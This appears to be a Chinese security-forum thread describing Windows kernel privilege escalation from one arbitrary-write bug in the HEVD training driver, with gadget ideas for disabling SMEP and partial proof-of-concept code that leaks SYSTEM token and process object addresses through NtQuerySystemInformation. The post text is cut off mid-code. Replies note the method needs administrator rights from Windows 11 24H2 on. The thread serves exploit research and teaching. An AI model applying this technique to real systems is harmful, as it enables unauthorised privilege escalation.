论坛首页 漏洞分析研究区 阅读主题

[原创] 只有一次任意写,高版本win内核提权

215 浏览 3 回复
#1 楼主 2026-06-01 21:09:06
上一次我们讲到HEVD的第三题,驱动有任意写的机会,如果有SMEP的话,我们就没办法在内核很方便地劫持执行流程了。
现代 Windows 防线:SMEP 防 shellcode,kCFG 防劫持代码指针,VBS 锁 CR4。
你只有一个任意写漏洞,没有信息泄露,连 ntoskrnl 基址都不知道(KASLR 生效)。
传统思路:先绕过KASLR,再解析PspCidTable。要求:多次任意读+一次任意写
本文的方法适用版本:WIN11 24H2以前
HalDispatchTable写入Gatget?
这是我第一个想到的思路,既然有SMEP,那我们想办法关掉不就行了。
我在WIN10 1909找到如下Gadget:
0x000000014017ae47 : mov cr4, rcx ; ret

写完发现,糟了,HalQuerySystemInformation不是x64 fastcall,我们可以控制的参数是在栈上的,该方法已经失败了。
另外,基于VBD和HCVI保护,我们也无法执行修改cr4的值
不过,可以尝试写入其他内核函数地址。实现在用户态执行内核函数。或者,如果能控制栈上的数据并泄露栈地址的话,可以使用ROP尝试关掉SMEP。这里笔者没有试过。作为一个思路分享,可以试试
SystemHandleInformation
偶然间看到一篇帖子,使用NtQuerySystemInformation可以直接获得整个系统句柄表的所有句柄,在WRK中查看源码可以看到。
NtQuerySystemInformation -> ObGetHandleInformation -> ExSnapShotHandleTables

在ExSnapShotHandleTables中,使用HandleTableListHead遍历系统中每一张句柄表。(经过逆向,现代该函数执行流程与WRK实现方式相同):
for (NextEntry = HandleTableListHead.Flink;
NextEntry != &HandleTableListHead;
NextEntry = NextEntry->Flink) {

HandleTable = CONTAINING_RECORD(NextEntry,
HANDLE_TABLE,
HandleTableList);

for (Handle.Value = 0;
(HandleTableEntry = ExpLookupHandleTableEntry(HandleTable, Handle)) != NULL;
Handle.Value += HANDLE_VALUE_INC) {

if (ExpIsValidObjectEntry(HandleTableEntry)) {
HandleInformation->NumberOfHandles += 1;
if (ExpLockHandleTableEntry(HandleTable, HandleTableEntry)) {

Status = (*SnapShotHandleEntry)(&HandleEntryInfo,
HandleTable->UniqueProcessId,
HandleTableEntry,
Handle.GenericHandleOverlay,
Length,
RequiredLength);

ExUnlockHandleTableEntry(HandleTable, HandleTableEntry);

于是就有Poc(关键代码):
for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)
PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i];

if (!systemToken && handleInfo->UniqueProcessId == (USHORT)4 && handleInfo->ObjectTypeIndex == tokenTypeIndex) {
if (!firstFound) {
firstFound = TRUE;
continue;
systemToken = handleInfo->Object;

if (handleInfo->UniqueProcessId == GetCurrentProcessId() &&
handleInfo->HandleValue == hProcess &&
handleInfo->ObjectTypeIndex == processTypeIndex)
processObj = handleInfo->Object;
//输出:processObj->FFFF990ED18A1080 systemToken->FFFF838CAC25E610

观察发现,NtQuerySystemInformation函数返回了system进程(PID=4)的几乎所有句柄,还返回了他们的TypeIndex和内核对象体地址,通过在Windbg中查看,这个TypeIndex甚至是解密后的值!
NtQueryObject
TypeIndex不是固定的,不同系统不一样,怎么办呢?
NtQueryObject的ObjectTypesInformation的枚举值,可以返回系统中所有对象的数量,TypeIndex。
关键代码(这里一定要注意OBJECT_TYPE_INFORMATION的对象存放方式):
POBJECT_TYPES_INFORMATION typeInfo = (POBJECT_TYPES_INFORMATION)VirtualAlloc(NULL, SystemHandleInformationSize, MEM_COMMIT, PAGE_READWRITE);
POBJECT_TYPE_INFORMATION tInfo = (POBJECT_TYPE_INFORMATION)&typeInfo->TypeInformation[0];;
NtQueryObject(NULL, 3, typeInfo, SystemHandleInformationSize, &returnLenght);
for (LONG i = 0; i < typeInfo->NumberOfTypes; i++) {
if (!wcscmp(tInfo->TypeName.Buffer, L"Process")) {
processT

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-291287.htm
#2 2026-06-01 21:09:06
很好的内容,但这个在windows 11 24h2后需要管理员权限,因为NtQuerySystemInformation内部检查了调用者的SeDebugPrivilege,实践上堵住了提权,但也可以利用Cache Timing侧信道绕过 KALSR获得内核基地址
#3 2026-06-01 21:09:06
TurkeybraNC

很好的内容,但这个在windows 11 24h2后需要管理员权限,因为NtQuerySystemInformation内部检查了调用者的SeDebugPrivilege,实践上堵住了提权,但也可以利 ...
谢谢佬,确实是我测试环境不够严谨导致的疏漏。
我在本机(Win11 25H2)、Win10 x64 1909 和 Win7 x86 SP1 上都跑过,因为本机 VS 默认给了管理员权限,其他版本都没出问题,就下意识以为高版本都通用。
您点出的这个问题很关键,我会在文章里修正并注明您的建议。再次感谢!
#4 2026-06-01 21:09:06
AO031

谢谢佬,确实是我测试环境不够严谨导致的疏漏。
我在本机(Win11 25H2)、Win10 x64 1909 和 Win7 x86 SP1 上都跑过,因为本机 VS 默认给了管理员权限,其他版本都没 ...
太客气了,不用谢的

请登录后参与讨论

立即登录 注册账号